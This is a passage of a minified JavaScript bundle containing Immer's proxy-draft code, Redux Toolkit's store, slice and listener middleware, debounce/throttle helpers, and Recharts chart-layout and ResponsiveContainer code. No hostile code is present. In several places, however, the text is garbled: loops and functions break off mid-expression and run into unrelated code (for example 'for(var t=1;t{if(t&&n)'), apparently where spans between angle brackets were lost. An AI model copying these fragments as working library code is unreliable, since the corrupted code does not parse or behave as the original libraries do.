s=i[t];if(e.finalized_||!Zn(s)||r&&e.operationMethod&&(n!=null&&n.isMutatingArrayMethod(e.operationMethod))&&jO(t))return s;if(s===dm(e.base_,t)){kc(e);const o=e.type_===1?+t:t,l=qp(e.scope_,s,e,o);return e.copy_[o]=l}return s},has(e,t){return t in Nr(e)},ownKeys(e){return Reflect.ownKeys(Nr(e))},set(e,t,n){const r=XN(Nr(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=dm(Nr(e),t),s=i==null?void 0:i[Vt];if(s&&s.base_===n)return e.copy_[t]=n,e.assigned_.set(t,!1),!0;if(wO(n,i)&&(n!==void 0||wy(e.base_,t,e.type_)))return!0;kc(e),Yp(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_.set(t,!0),EO(e,t,n)),!0},deleteProperty(e,t){return kc(e),dm(e.base_,t)!==void 0||t in e.base_?(e.assigned_.set(t,!1),Yp(e)):e.assigned_.delete(t),e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Nr(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{[Nc]:!0,[Wp]:e.type_!==1||t!=="length",[cu]:r[cu],[Bo]:n[t]}},defineProperty(){Un(11)},getPrototypeOf(e){return cs(e.base_)},setPrototypeOf(){Un(12)}},Wo={};for(let e in mu){let t=mu[e];Wo[e]=function(){const n=arguments;return n[0]=n[0][0],t.apply(this,n)}}Wo.deleteProperty=function(e,t){return Wo.set.call(this,e,t,void 0)};Wo.set=function(e,t,n){return mu.set.call(this,e[0],t,n,e[0])};function dm(e,t){const n=e[Vt];return(n?Nr(n):e)[t]}function AO(e,t,n){var i;const r=XN(t,n);return r?Bo in r?r[Bo]:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function XN(e,t){if(!(t in e))return;let n=cs(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=cs(n)}}function Yp(e){e.modified_||(e.modified_=!0,e.parent_&&Yp(e.parent_))}function kc(e){e.copy_||(e.assigned_=new Map,e.copy_=Vp(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var OO=class{constructor(t){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!1,this.produce=(n,r,i)=>{if(Ea(n)&&!Ea(r)){const o=r;r=n;const l=this;return function(u=o,...d){return l.produce(u,f=>r.call(this,f,...d))}}Ea(r)||Un(6),i!==void 0&&!Ea(i)&&Un(7);let s;if(Zn(n)){const o=zy(this),l=qp(o,n,void 0);let c=!0;try{s=r(l),c=!1}finally{c?Kp(o):Gp(o)}return ky(o,i),Sy(s,o)}else if(!n||!qx(n)){if(s=r(n),s===void 0&&(s=n),s===UN&&(s=void 0),this.autoFreeze_&&Zx(s,!0),i){const o=[],l=[];fa(Hp).generateReplacementPatches_(n,s,{patches_:o,inversePatches_:l}),i(o,l)}return s}else Un(1,n)},this.produceWithPatches=(n,r)=>{if(Ea(n))return(l,...c)=>this.produceWithPatches(l,u=>n(u,...c));let i,s;return[this.produce(n,r,(l,c)=>{i=l,s=c}),i,s]},um(t==null?void 0:t.autoFreeze)&&this.setAutoFreeze(t.autoFreeze),um(t==null?void 0:t.useStrictShallowCopy)&&this.setUseStrictShallowCopy(t.useStrictShallowCopy),um(t==null?void 0:t.useStrictIteration)&&this.setUseStrictIteration(t.useStrictIteration)}createDraft(t){Zn(t)||Un(8),Ir(t)&&(t=Yn(t));const n=zy(this),r=qp(n,t,void 0);return r[Vt].isManual_=!0,Gp(n),r}finishDraft(t,n){const r=t&&t[Vt];(!r||!r.isManual_)&&Un(9);const{scope_:i}=r;return ky(i,n),Sy(void 0,i)}setAutoFreeze(t){this.autoFreeze_=t}setUseStrictShallowCopy(t){this.useStrictShallowCopy_=t}setUseStrictIteration(t){this.useStrictIteration_=t}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(t,n){let r;for(r=n.length-1;r>=0;r--){const s=n[r];if(s.path.length===0&&s.op==="replace"){t=s.value;break}}r>-1&&(n=n.slice(r+1));const i=fa(Hp).applyPatches_;return Ir(t)?i(t,n):this.produce(t,s=>i(s,n))}};function qp(e,t,n,r){const[i,s]=Od(t)?fa(du).proxyMap_(t,n):Td(t)?fa(du).proxySet_(t,n):_O(t,n);return((n==null?void 0:n.scope_)??KN()).drafts_.push(i),s.callbacks_=(n==null?void 0:n.callbacks_)??[],s.key_=r,n&&r!==void 0?PO(n,s,r):s.callbacks_.push(function(c){var d;(d=c.mapSetPlugin_)==null||d.fixSetContents(s);const{patchPlugin_:u}=c;s.modified_&&u&&u.generatePatches_(s,[],c)}),i}function Yn(e){return Ir(e)||Un(10,e),ZN(e)}function ZN(e){if(!Zn(e)||Md(e))return e;const t=e[Vt];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Vp(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Vp(e,!0);return _d(n,(i,s)=>{uu(n,i,ZN(s))},r),t&&(t.finalized_=!1),n}var TO=new OO,QN=TO.produce;function JN(e){return({dispatch:n,getState:r})=>i=>s=>typeof s=="function"?s(n,r,e):i(s)}var MO=JN(),LO=JN,IO=typeof window<"u"&&window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__?window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__:function(){if(arguments.length!==0)return typeof arguments[0]=="object"?ou:ou.apply(null,arguments)};function On(e,t){function n(...r){if(t){let i=t(...r);if(!i)throw new Error(mn(0));return{type:e,payload:i.payload,..."meta"in i&&{meta:i.meta},..."error"in i&&{error:i.error}}}return{type:e,payload:r[0]}}return n.toString=()=>`${e}`,n.type=e,n.match=r=>WN(r)&&r.type===e,n}var ek=class ro extends Array{constructor(...t){super(...t),Object.setPrototypeOf(this,ro.prototype)}static get[Symbol.species](){return ro}concat(...t){return super.concat.apply(this,t)}prepend(...t){return t.length===1&&Array.isArray(t[0])?new ro(...t[0].concat(this)):new ro(...t.concat(this))}};function Py(e){return Zn(e)?QN(e,()=>{}):e}function Hl(e,t,n){return e.has(t)?e.get(t):e.set(t,n(t)).get(t)}function DO(e){return typeof e=="boolean"}var RO=()=>function(t){const{thunk:n=!0,immutableCheck:r=!0,serializableCheck:i=!0,actionCreatorCheck:s=!0}=t??{};let o=new ek;return n&&(DO(n)?o.push(MO):o.push(LO(n.extraArgument))),o},tk="RTK_autoBatch",He=()=>e=>({payload:e,meta:{[tk]:!0}}),Ey=e=>t=>{setTimeout(t,e)},nk=(e={type:"raf"})=>t=>(...n)=>{const r=t(...n);let i=!0,s=!1,o=!1;const l=new Set,c=e.type==="tick"?queueMicrotask:e.type==="raf"?typeof window<"u"&&window.requestAnimationFrame?window.requestAnimationFrame:Ey(10):e.type==="callback"?e.queueNotification:Ey(e.timeout),u=()=>{o=!1,s&&(s=!1,l.forEach(d=>d()))};return Object.assign({},r,{subscribe(d){const f=()=>i&&d(),p=r.subscribe(f);return l.add(d),()=>{p(),l.delete(d)}},dispatch(d){var f;try{return i=!((f=d==null?void 0:d.meta)!=null&&f[tk]),s=!i,s&&(o||(o=!0,c(u))),r.dispatch(d)}finally{i=!0}}})},$O=e=>function(n){const{autoBatch:r=!0}=n??{};let i=new ek(e);return r&&i.push(nk(typeof r=="object"?r:void 0)),i};function BO(e){const t=RO(),{reducer:n=void 0,middleware:r,devTools:i=!0,preloadedState:s=void 0,enhancers:o=void 0}=e||{};let l;if(typeof n=="function")l=n;else if(Yx(n))l=FN(n);else throw new Error(mn(1));let c;typeof r=="function"?c=r(t):c=t();let u=ou;i&&(u=IO({trace:!1,...typeof i=="object"&&i}));const d=yO(...c),f=$O(d);let p=typeof o=="function"?o(f):f();const h=u(...p);return BN(l,s,h)}function rk(e){const t={},n=[];let r;const i={addCase(s,o){const l=typeof s=="string"?s:s.type;if(!l)throw new Error(mn(28));if(l in t)throw new Error(mn(29));return t[l]=o,i},addAsyncThunk(s,o){return o.pending&&(t[s.pending.type]=o.pending),o.rejected&&(t[s.rejected.type]=o.rejected),o.fulfilled&&(t[s.fulfilled.type]=o.fulfilled),o.settled&&n.push({matcher:s.settled,reducer:o.settled}),i},addMatcher(s,o){return n.push({matcher:s,reducer:o}),i},addDefaultCase(s){return r=s,i}};return e(i),[t,n,r]}function FO(e){return typeof e=="function"}function WO(e,t){let[n,r,i]=rk(t),s;if(FO(e))s=()=>Py(e());else{const l=Py(e);s=()=>l}function o(l=s(),c){let u=[n[c.type],...r.filter(({matcher:d})=>d(c)).map(({reducer:d})=>d)];return u.filter(d=>!!d).length===0&&(u=[i]),u.reduce((d,f)=>{if(f)if(Ir(d)){const h=f(d,c);return h===void 0?d:h}else{if(Zn(d))return QN(d,p=>f(p,c));{const p=f(d,c);if(p===void 0){if(d===null)return d;throw Error("A case reducer on a non-draftable value must not return undefined")}return p}}return d},l)}return o.getInitialState=s,o}var UO="ModuleSymbhasOwnPr-0123456789ABCDEFGHNRVfgctiUvz_KqYTJkLxpZXIjQW",VO=(e=21)=>{let t="",n=e;for(;n--;)t+=UO[Math.random()*64|0];return t},HO=Symbol.for("rtk-slice-createasyncthunk");function KO(e,t){return`${e}/${t}`}function GO({creators:e}={}){var n;const t=(n=e==null?void 0:e.asyncThunk)==null?void 0:n[HO];return function(i){const{name:s,reducerPath:o=s}=i;if(!s)throw new Error(mn(11));const l=(typeof i.reducers=="function"?i.reducers(qO()):i.reducers)||{},c=Object.keys(l),u={sliceCaseReducersByName:{},sliceCaseReducersByType:{},actionCreators:{},sliceMatchers:[]},d={addCase(j,N){const k=typeof j=="string"?j:j.type;if(!k)throw new Error(mn(12));if(k in u.sliceCaseReducersByType)throw new Error(mn(13));return u.sliceCaseReducersByType[k]=N,d},addMatcher(j,N){return u.sliceMatchers.push({matcher:j,reducer:N}),d},exposeAction(j,N){return u.actionCreators[j]=N,d},exposeCaseReducer(j,N){return u.sliceCaseReducersByName[j]=N,d}};c.forEach(j=>{const N=l[j],k={reducerName:j,type:KO(s,j),createNotation:typeof i.reducers=="function"};ZO(N)?JO(k,N,d,t):XO(k,N,d)});function f(){const[j={},N=[],k=void 0]=typeof i.extraReducers=="function"?rk(i.extraReducers):[i.extraReducers],z={...j,...u.sliceCaseReducersByType};return WO(i.initialState,S=>{for(let O in z)S.addCase(O,z[O]);for(let O of u.sliceMatchers)S.addMatcher(O.matcher,O.reducer);for(let O of N)S.addMatcher(O.matcher,O.reducer);k&&S.addDefaultCase(k)})}const p=j=>j,h=new Map,x=new WeakMap;let g;function y(j,N){return g||(g=f()),g(j,N)}function v(){return g||(g=f()),g.getInitialState()}function b(j,N=!1){function k(S){let O=S[j];return typeof O>"u"&&N&&(O=Hl(x,k,v)),O}function z(S=p){const O=Hl(h,N,()=>new WeakMap);return Hl(O,S,()=>{const A={};for(const[T,P]of Object.entries(i.selectors??{}))A[T]=YO(P,S,()=>Hl(x,S,v),N);return A})}return{reducerPath:j,getSelectors:z,get selectors(){return z(k)},selectSlice:k}}const w={name:s,reducer:y,actions:u.actionCreators,caseReducers:u.sliceCaseReducersByName,getInitialState:v,...b(o),injectInto(j,{reducerPath:N,...k}={}){const z=N??o;return j.inject({reducerPath:z,reducer:y},k),{...w,...b(z,!0)}}};return w}}function YO(e,t,n,r){function i(s,...o){let l=t(s);return typeof l>"u"&&r&&(l=n()),e(l,...o)}return i.unwrapped=e,i}var nn=GO();function qO(){function e(t,n){return{_reducerDefinitionType:"asyncThunk",payloadCreator:t,...n}}return e.withTypes=()=>e,{reducer(t){return Object.assign({[t.name](...n){return t(...n)}}[t.name],{_reducerDefinitionType:"reducer"})},preparedReducer(t,n){return{_reducerDefinitionType:"reducerWithPrepare",prepare:t,reducer:n}},asyncThunk:e}}function XO({type:e,reducerName:t,createNotation:n},r,i){let s,o;if("reducer"in r){if(n&&!QO(r))throw new Error(mn(17));s=r.reducer,o=r.prepare}else s=r;i.addCase(e,s).exposeCaseReducer(t,s).exposeAction(t,o?On(e,o):On(e))}function ZO(e){return e._reducerDefinitionType==="asyncThunk"}function QO(e){return e._reducerDefinitionType==="reducerWithPrepare"}function JO({type:e,reducerName:t},n,r,i){if(!i)throw new Error(mn(18));const{payloadCreator:s,fulfilled:o,pending:l,rejected:c,settled:u,options:d}=n,f=i(e,s,d);r.exposeAction(t,f),o&&r.addCase(f.fulfilled,o),l&&r.addCase(f.pending,l),c&&r.addCase(f.rejected,c),u&&r.addMatcher(f.settled,u),r.exposeCaseReducer(t,{fulfilled:o||Kl,pending:l||Kl,rejected:c||Kl,settled:u||Kl})}function Kl(){}var eT="task",ik="listener",ak="completed",Qx="cancelled",tT=`task-${Qx}`,nT=`task-${ak}`,Xp=`${ik}-${Qx}`,rT=`${ik}-${ak}`,Id=class{constructor(e){Pf(this,"name","TaskAbortError");Pf(this,"message");this.code=e,this.message=`${eT} ${Qx} (reason: ${e})`}},Jx=(e,t)=>{if(typeof e!="function")throw new TypeError(mn(32))},pu=()=>{},sk=(e,t=pu)=>(e.catch(t),e),ok=(e,t)=>(e.addEventListener("abort",t,{once:!0}),()=>e.removeEventListener("abort",t)),Ji=e=>{if(e.aborted)throw new Id(e.reason)};function lk(e,t){let n=pu;return new Promise((r,i)=>{const s=()=>i(new Id(e.reason));if(e.aborted){s();return}n=ok(e,s),t.finally(()=>n()).then(r,i)}).finally(()=>{n=pu})}var iT=async(e,t)=>{try{return await Promise.resolve(),{status:"ok",value:await e()}}catch(n){return{status:n instanceof Id?"cancelled":"rejected",error:n}}finally{t==null||t()}},hu=e=>t=>sk(lk(e,t).then(n=>(Ji(e),n))),ck=e=>{const t=hu(e);return n=>t(new Promise(r=>setTimeout(r,n)))},{assign:Za}=Object,_y={},Dd="listenerMiddleware",aT=(e,t)=>{const n=r=>ok(e,()=>r.abort(e.reason));return(r,i)=>{Jx(r);const s=new AbortController;n(s);const o=iT(async()=>{Ji(e),Ji(s.signal);const l=await r({pause:hu(s.signal),delay:ck(s.signal),signal:s.signal});return Ji(s.signal),l},()=>s.abort(nT));return i!=null&&i.autoJoin&&t.push(o.catch(pu)),{result:hu(e)(o),cancel(){s.abort(tT)}}}},sT=(e,t)=>{const n=async(r,i)=>{Ji(t);let s=()=>{};const l=[new Promise((c,u)=>{let d=e({predicate:r,effect:(f,p)=>{p.unsubscribe(),c([f,p.getState(),p.getOriginalState()])}});s=()=>{d(),u()}})];i!=null&&l.push(new Promise(c=>setTimeout(c,i,null)));try{const c=await lk(t,Promise.race(l));return Ji(t),c}finally{s()}};return(r,i)=>sk(n(r,i))},uk=e=>{let{type:t,actionCreator:n,matcher:r,predicate:i,effect:s}=e;if(t)i=On(t).match;else if(n)t=n.type,i=n.match;else if(r)i=r;else if(!i)throw new Error(mn(21));return Jx(s),{predicate:i,type:t,effect:s}},dk=Za(e=>{const{type:t,predicate:n,effect:r}=uk(e);return{id:VO(),effect:r,type:t,predicate:n,pending:new Set,unsubscribe:()=>{throw new Error(mn(22))}}},{withTypes:()=>dk}),Ay=(e,t)=>{const{type:n,effect:r,predicate:i}=uk(t);return Array.from(e.values()).find(s=>(typeof n=="string"?s.type===n:s.predicate===i)&&s.effect===r)},Zp=e=>{e.pending.forEach(t=>{t.abort(Xp)})},oT=(e,t)=>()=>{for(const n of t.keys())Zp(n);e.clear()},Oy=(e,t,n)=>{try{e(t,n)}catch(r){setTimeout(()=>{throw r},0)}},fk=Za(On(`${Dd}/add`),{withTypes:()=>fk}),lT=On(`${Dd}/removeAll`),mk=Za(On(`${Dd}/remove`),{withTypes:()=>mk}),cT=(...e)=>{console.error(`${Dd}/error`,...e)},ll=(e={})=>{const t=new Map,n=new Map,r=h=>{const x=n.get(h)??0;n.set(h,x+1)},i=h=>{const x=n.get(h)??1;x===1?n.delete(h):n.set(h,x-1)},{extra:s,onError:o=cT}=e;Jx(o);const l=h=>(h.unsubscribe=()=>t.delete(h.id),t.set(h.id,h),x=>{h.unsubscribe(),x!=null&&x.cancelActive&&Zp(h)}),c=h=>{const x=Ay(t,h)??dk(h);return l(x)};Za(c,{withTypes:()=>c});const u=h=>{const x=Ay(t,h);return x&&(x.unsubscribe(),h.cancelActive&&Zp(x)),!!x};Za(u,{withTypes:()=>u});const d=async(h,x,g,y)=>{const v=new AbortController,b=sT(c,v.signal),w=[];try{h.pending.add(v),r(h),await Promise.resolve(h.effect(x,Za({},g,{getOriginalState:y,condition:(j,N)=>b(j,N).then(Boolean),take:b,delay:ck(v.signal),pause:hu(v.signal),extra:s,signal:v.signal,fork:aT(v.signal,w),unsubscribe:h.unsubscribe,subscribe:()=>{t.set(h.id,h)},cancelActiveListeners:()=>{h.pending.forEach((j,N,k)=>{j!==v&&(j.abort(Xp),k.delete(j))})},cancel:()=>{v.abort(Xp),h.pending.delete(v)},throwIfCancelled:()=>{Ji(v.signal)}})))}catch(j){j instanceof Id||Oy(o,j,{raisedBy:"effect"})}finally{await Promise.all(w),v.abort(rT),i(h),h.pending.delete(v)}},f=oT(t,n);return{middleware:h=>x=>g=>{if(!WN(g))return x(g);if(fk.match(g))return c(g.payload);if(lT.match(g)){f();return}if(mk.match(g))return u(g.payload);let y=h.getState();const v=()=>{if(y===_y)throw new Error(mn(23));return y};let b;try{if(b=x(g),t.size>0){const w=h.getState(),j=Array.from(t.values());for(const N of j){let k=!1;try{k=N.predicate(g,w,y)}catch(z){k=!1,Oy(o,z,{raisedBy:"predicate"})}k&&d(N,g,h,v)}}}finally{y=_y}return b},startListening:c,stopListening:u,clearListeners:f}};function mn(e){return`Minified Redux Toolkit error #${e}; visit https://redux-toolkit.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var uT={layoutType:"horizontal",width:0,height:0,margin:{top:5,right:5,bottom:5,left:5},scale:1},pk=nn({name:"chartLayout",initialState:uT,reducers:{setLayout(e,t){e.layoutType=t.payload},setChartSize(e,t){e.width=t.payload.width,e.height=t.payload.height},setMargin(e,t){var n,r,i,s;e.margin.top=(n=t.payload.top)!==null&&n!==void 0?n:0,e.margin.right=(r=t.payload.right)!==null&&r!==void 0?r:0,e.margin.bottom=(i=t.payload.bottom)!==null&&i!==void 0?i:0,e.margin.left=(s=t.payload.left)!==null&&s!==void 0?s:0},setScale(e,t){e.scale=t.payload}}}),{setMargin:dT,setLayout:fT,setChartSize:mT,setScale:pT}=pk.actions,hT=pk.reducer;function hk(e,t,n){return Array.isArray(e)&&e&&t+n!==0?e.slice(t,n+1):e}function Ee(e){return Number.isFinite(e)}function Si(e){return typeof e=="number"&&e>0&&Number.isFinite(e)}function Ty(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Wa(e){for(var t=1;t{if(t&&n){var{width:r,height:i}=n,{align:s,verticalAlign:o,layout:l}=t;if((l==="vertical"||l==="horizontal"&&o==="middle")&&s!=="center"&&ge(e[s]))return Wa(Wa({},e),{},{[s]:e[s]+(r||0)});if((l==="horizontal"||l==="vertical"&&s==="center")&&o!=="middle"&&ge(e[o]))return Wa(Wa({},e),{},{[o]:e[o]+(i||0)})}return e},vr=(e,t)=>e==="horizontal"&&t==="xAxis"||e==="vertical"&&t==="yAxis"||e==="centric"&&t==="angleAxis"||e==="radial"&&t==="radiusAxis",bT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(u[0]=s,s+=p,u[1]=s):(u[0]=o,o+=p,u[1]=o)}}}},wT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(c[0]=s,s+=u,c[1]=s):(c[0]=0,c[1]=0)}}}},jT={sign:bT,expand:uA,none:ua,silhouette:dA,wiggle:fA,positive:wT},NT=(e,t,n)=>{var r,i=(r=jT[n])!==null&&r!==void 0?r:ua,s=cA().keys(t).value((l,c)=>Number(Ve(l,c,0))).order(Bp).offset(i),o=s(e);return o.forEach((l,c)=>{l.forEach((u,d)=>{var f=Ve(e[d],t[c],0);Array.isArray(f)&&f.length===2&&ge(f[0])&&ge(f[1])&&(u[0]=f[0],u[1]=f[1])})}),o};function kT(e){return e==null?void 0:String(e)}function My(e){var{axis:t,ticks:n,bandSize:r,entry:i,index:s,dataKey:o}=e;if(t.type==="category"){if(!t.allowDuplicatedCategory&&t.dataKey&&!Mt(i[t.dataKey])){var l=oN(n,"value",i[t.dataKey]);if(l)return l.coordinate+r/2}return n!=null&&n[s]?n[s].coordinate+r/2:null}var c=Ve(i,Mt(o)?t.dataKey:o),u=t.scale.map(c);return ge(u)?u:null}var zT=e=>{var t=e.flat(2).filter(ge);return[Math.min(...t),Math.max(...t)]},ST=e=>[e[0]===1/0?0:e[0],e[1]===-1/0?0:e[1]],CT=(e,t,n)=>{if(e!=null)return ST(Object.keys(e).reduce((r,i)=>{var s=e[i];if(!s)return r;var{stackedData:o}=s,l=o.reduce((c,u)=>{var d=hk(u,t,n),f=zT(d);return!Ee(f[0])||!Ee(f[1])?c:[Math.min(c[0],f[0]),Math.max(c[1],f[1])]},[1/0,-1/0]);return[Math.min(l[0],r[0]),Math.max(l[1],r[1])]},[1/0,-1/0]))},Ly=/^dataMin[\s]*-[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,Iy=/^dataMax[\s]*\+[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,xu=(e,t,n)=>{if(e&&e.scale&&e.scale.bandwidth){var r=e.scale.bandwidth();if(!n||r>0)return r}if(e&&t&&t.length>=2){for(var i=Pd(t,d=>d.coordinate),s=1/0,o=1,l=i.length;o{if(t==="horizontal")return e.chartX;if(t==="vertical")return e.chartY},ET=(e,t)=>t==="centric"?e.angle:e.radius,Hr=e=>e.layout.width,Kr=e=>e.layout.height,_T=e=>e.layout.scale,xk=e=>e.layout.margin,$d=I(e=>e.cartesianAxis.xAxis,e=>Object.values(e)),Bd=I(e=>e.cartesianAxis.yAxis,e=>Object.values(e)),vk="data-recharts-item-index",gk="data-recharts-item-id",cl=60;function Ry(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Gl(e){for(var t=1;te.brush.height;function LT(e){var t=Bd(e);return t.reduce((n,r)=>{if(r.orientation==="left"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:cl;return n+i}return n},0)}function IT(e){var t=Bd(e);return t.reduce((n,r)=>{if(r.orientation==="right"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:cl;return n+i}return n},0)}function DT(e){var t=$d(e);return t.reduce((n,r)=>r.orientation==="top"&&!r.mirror&&!r.hide?n+r.height:n,0)}function RT(e){var t=$d(e);return t.reduce((n,r)=>r.orientation==="bottom"&&!r.mirror&&!r.hide?n+r.height:n,0)}var kt=I([Hr,Kr,xk,MT,LT,IT,DT,RT,$N,mO],(e,t,n,r,i,s,o,l,c,u)=>{var d={left:(n.left||0)+i,right:(n.right||0)+s},f={top:(n.top||0)+o,bottom:(n.bottom||0)+l},p=Gl(Gl({},f),d),h=p.bottom;p.bottom+=r,p=yT(p,c,u);var x=e-p.left-p.right,g=t-p.top-p.bottom;return Gl(Gl({brushBottom:h},p),{},{width:Math.max(x,0),height:Math.max(g,0)})}),$T=I(kt,e=>({x:e.left,y:e.top,width:e.width,height:e.height}));I(Hr,Kr,(e,t)=>({x:0,y:0,width:e,height:t}));var BT=m.createContext(null),Jn=()=>m.useContext(BT)!=null,Fd=e=>e.brush,Wd=I([Fd,kt,xk],(e,t,n)=>({height:e.height,x:ge(e.x)?e.x:t.left,y:ge(e.y)?e.y:t.top+t.height+t.brushBottom-((n==null?void 0:n.bottom)||0),width:ge(e.width)?e.width:t.width})),yk={},bk={},wk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r,{signal:i,edges:s}={}){let o,l=null;const c=s!=null&&s.includes("leading"),u=s==null||s.includes("trailing"),d=()=>{l!==null&&(n.apply(o,l),o=void 0,l=null)},f=()=>{u&&d(),g()};let p=null;const h=()=>{p!=null&&clearTimeout(p),p=setTimeout(()=>{p=null,f()},r)},x=()=>{p!==null&&(clearTimeout(p),p=null)},g=()=>{x(),o=void 0,l=null},y=()=>{d()},v=function(...b){if(i!=null&&i.aborted)return;o=this,l=b;const w=p==null;h(),c&&w&&d()};return v.schedule=h,v.cancel=g,v.flush=y,i==null||i.addEventListener("abort",g,{once:!0}),v}e.debounce=t})(wk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=wk;function n(r,i=0,s={}){typeof s!="object"&&(s={});const{leading:o=!1,trailing:l=!0,maxWait:c}=s,u=Array(2);o&&(u[0]="leading"),l&&(u[1]="trailing");let d,f=null;const p=t.debounce(function(...g){d=r.apply(this,g),f=null},i,{edges:u}),h=function(...g){return c!=null&&(f===null&&(f=Date.now()),Date.now()-f>=c)?(d=r.apply(this,g),f=Date.now(),p.cancel(),p.schedule(),d):(p.apply(this,g),d)},x=()=>(p.flush(),d);return h.cancel=p.cancel,h.flush=x,h}e.debounce=n})(bk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=bk;function n(r,i=0,s={}){const{leading:o=!0,trailing:l=!0}=s;return t.debounce(r,i,{leading:o,maxWait:i,trailing:l})}e.throttle=n})(yk);var FT=yk.throttle;const WT=Wr(FT);var $y=function(t,n){for(var r=arguments.length,i=new Array(r>2?r-2:0),s=2;si[o++]))}},lr={width:"100%",height:"100%",debounce:0,minWidth:0,initialDimension:{width:-1,height:-1}},jk=(e,t,n)=>{var{width:r=lr.width,height:i=lr.height,aspect:s,maxHeight:o}=n,l=da(r)?e:Number(r),c=da(i)?t:Number(i);return s&&s>0&&(l?c=l/s:c&&(l=c*s),o&&c!=null&&c>o&&(c=o)),{calculatedWidth:l,calculatedHeight:c}},UT={width:0,height:0,overflow:"visible"},VT={width:0,overflowX:"visible"},HT={height:0,overflowY:"visible"},KT={},GT=e=>{var{width:t,height:n}=e,r=da(t),i=da(n);return r&&i?UT:r?VT:i?HT:KT};function YT(e){var{width:t,height:n,aspect:r}=e,i=t,s=n;return i===void 0&&s===void 0?(i=lr.width,s=lr.height):i===void 0?i=r&&r>0?void 0:lr.width:s===void 0&&(s=r&&r>0?void 0:lr.height),{width:i,height:s}}function Qp(){return Qp=Object.assign?Object.assign.bind():function(e){for(var t=1;t({width:n,height:r}),[n,r]);return QT(i)?m.createElement(Nk.Provider,{value:i},t):null}var e0=()=>m.useContext(Nk),JT=m.forwardRef((e,t)=>{var{aspect:n,initialDimension:r=lr.initialDimension,width:i,height:s,minWidth:o=lr.minWidth,minHeight:l,maxHeight:c,children:u,debounce:d=lr.debounce,id:f,className:p,onResize:h,style:x={}}=e,g=m.useRef(null),y=m.useRef();y.current=h,m.useImperativeHandle(t,()=>g.current);var[v,b]=m.useState({containerWidth:r.width,containerHeight:r.height}),w=m.useCallback((S,O)=>{b(A=>{var T=Math.round(S),P=Math.round(O);return A.containerWidth===T&&A.containerHeight===P?A:{containerWidth:T,containerHeight:P}})},[]);m.useEffect(()=>{if(g.current==null||typeof ResizeObserver>"u")return bs;var S=P=>{var D,G=P[0];if(G!=null){var{width:R,height:K}=G.contentRect;w(R,K),(D=y.current)===null||D===void 0||D.call(y,R,K)}};d>0&&(S=WT(S,d,{trailing:!0,leading:!1}));var O=new ResizeObserver(S),{width:A,height:T}=g.current.getBoundingClientRect();return w(A,T),O.observe(g.current),()=>{O.disconnect()}},[w,d]);var{containerWidth:j,containerHeight:N}=v;$y(!n||n>0,"The aspect(%s) must be greater than zero.",n);var{calculatedWidth:k,calculatedHeight:z}=jk(j,N,{width:i,height:s,aspect:n,maxHeight:c});return $y(k!=null&&k>0||z!=null&&z>0,`The width(%s) and height(%s) of chart should be greater than 0, + please check the style of container, or the props width(%s) and height(%s), + or add a minWidth(%s) or minHeight(%s) or use aspect(%s) to control the + height and width.`,k,z,i,s,o,l,n),m.createElement("div",{id:f?"".concat(f):void 0,className:Qe("recharts-responsive-container",p),style:Fy(Fy({},x),{},{width:i,height:s,minWidth:o,minHeight:l,maxHeight:c}),ref:g},m.createElement("div",{style:GT({width:i,height:s})},m.createElement(kk,{width:k,height:z},u)))}),Wy=m.forwardRef((e,t)=>{var n=e0();if(Si(n.width)&&Si(n.height))return e.children;var{width:r,height:i}=YT({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:s,calculatedHeight:o}=jk(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return ge(s)&&ge(o)?m.createElement(kk,{width:s,height:o},e.children):m.createElement(JT,Qp({},e,{width:r,height:i,ref:t}))});function t0(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var Ud=()=>{var e,t=Jn(),n=je($T),r=je(Wd),i=(e=je(Fd))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},eM={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},tM=()=>{var e;return(e=je(kt))!==null&&e!==void 0?e:eM},nM=()=>je(Hr),rM=()=>je(Kr),De=e=>e.layout.layoutType,ws=()=>je(De),iM=()=>{var e=ws();if(e==="horizontal"||e==="vertical")return 